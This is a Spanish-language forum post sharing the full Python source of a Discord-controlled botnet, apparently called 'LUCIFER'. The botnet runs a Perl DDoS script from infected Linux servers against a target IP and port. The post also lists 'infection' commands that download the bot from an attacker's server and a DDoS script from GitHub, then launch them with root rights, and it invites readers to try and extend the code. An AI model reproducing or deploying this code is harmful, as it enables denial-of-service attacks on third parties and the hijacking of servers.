Holanda, todo tranquera gente?
Bueno como dice el titulo, hice una botnet simple que funciona mediante un bot de Discord estilo IRC, es una botnet que su unico objetivo es atacar mediante scripts utilizando servidores infectados linux, es una botnet que la hice asi nomas fue una idea que tuve en un sueño donde tripulaba una botnet desde discord
Como dije, la hice asi nomas si quieren mejorarla y agregarle mas funciones bienvenido sea, lo hice por diversion les dejo el codigo y mas info sobre la botnet:
from discord.ext import commands
import os
import sys
import platform
import requests
#instance-9 ???????
prefix = "?" #ignoren esto
bot = commands.Bot(command_prefix=prefix)
@bot.event
async def on_ready():
print("[*] LUCIFER PRENDIDO")
@bot.event
async def on_message(message):
print("log: ", message.content)
if message.author.id == 319605318982041602: # Aca va la ID de su Usuario en Discord
if message.content.startswith("killua.lucifer"):
ip_lucifer = requests.get('http://ip.42.pl/raw')
c=0
arg = message.content.split(" ")
os.system("sudo nohup perl DDoS.pl {} {} {} {} &".format(arg[1], arg[2], arg[3], arg[4])) #Deja corriendo el script en 2 plano
await message.channel.send("""
```[LUCIFER BOTNET] ZOMBIE: {}{} [{}] SCRIPT: [{}|{}|{}|{}]```""".format(platform.platform() , platform.machine(), ip_lucifer, arg[1], arg[2], arg[3], arg[4]))
while c > int(arg[4]): # Informacion sobre el status del ataque
LOL = await message.channel.send("```[-] ATACANDO [{}]```".format(ip_lucifer.content))
c=c+1
await message.channel.send("```[-] ATAQUE FINALIZADO [{}]```".format(ip_lucifer.content))
if message.content.startswith("killua.ping"): # Para ver una lista de las infecciones
ip = requests.get('http://ip.42.pl/raw')
await message.channel.send("""
```[LUCIFER ZOMBIES CONECTADOS]: {}{} [{}]```""".format(platform.platform() , platform.machine(), ip.content))
if message.content.startswith("killua.say"): # Para que los infectados manden un say
ip_pagina = requests.get('http://ip.42.pl/raw')
mensaje = message.content.split(" ")
await message.channel.send("""```[{}] {}:{}```""".format(ip_pagina.content , platform.machine(), mensaje[1]))
if message.content.startswith("killua.stop"): # Para parar todos los ataques
os.system("sudo pkill perl")
await message.channel.send("""```[*] Ataques killeados```""")
if message.content.startswith("killua.destruirse"): # Para cerrar todas las conexiones del bot
os.system("sudo pkill python3")
await message.channel.send("[!] Auto-destruccion iniciado")
else:
pass
bot.run("") # Aca va el token de su bot de discord
Funcionamiento basico:La botnet funciona mediante un bot de discord y comanda a las infecciones mediante discord, que en este caso serian servidores linux
- Lanzar un ataque:
killua.lucifer IP PUERTO PAQUETES TIEMPO
por ejemplo killua.lucifer 1.1.1.1 80 65000 300
- Infeccion basica (obviamente esto esta hecho asi nomas no se oculta ni nada y todo depende del servidor etc esto lo pueden modificar, lo ideal seria Python3.5)
sudo su
apt-get install python3-pip -y
wget http://servidor_tuyo.com/lucifer.py
wget https://raw.githubusercontent.com/gillesdubois/simplePerlDDoS/master/DDoS.pl
python3 -m pip install -U discord.py[voice]
pip3 install async
pip3 install requests
chmod 777 * -R
nohup python3 lucifer.py &
Video mostrando el funcionamiento de la botnet:
https://www.youtube.com/watch?v=QknGfVSHSWY
Asi que nada, espero que te haya gustado el post y te invito a probar el codigo y que juegues con tu imaginacion ;D hacia tiempo no publicaba nada en este foro porque soy muy colgado xD
Gracias por el aporte, quedo revisando el código. Saludos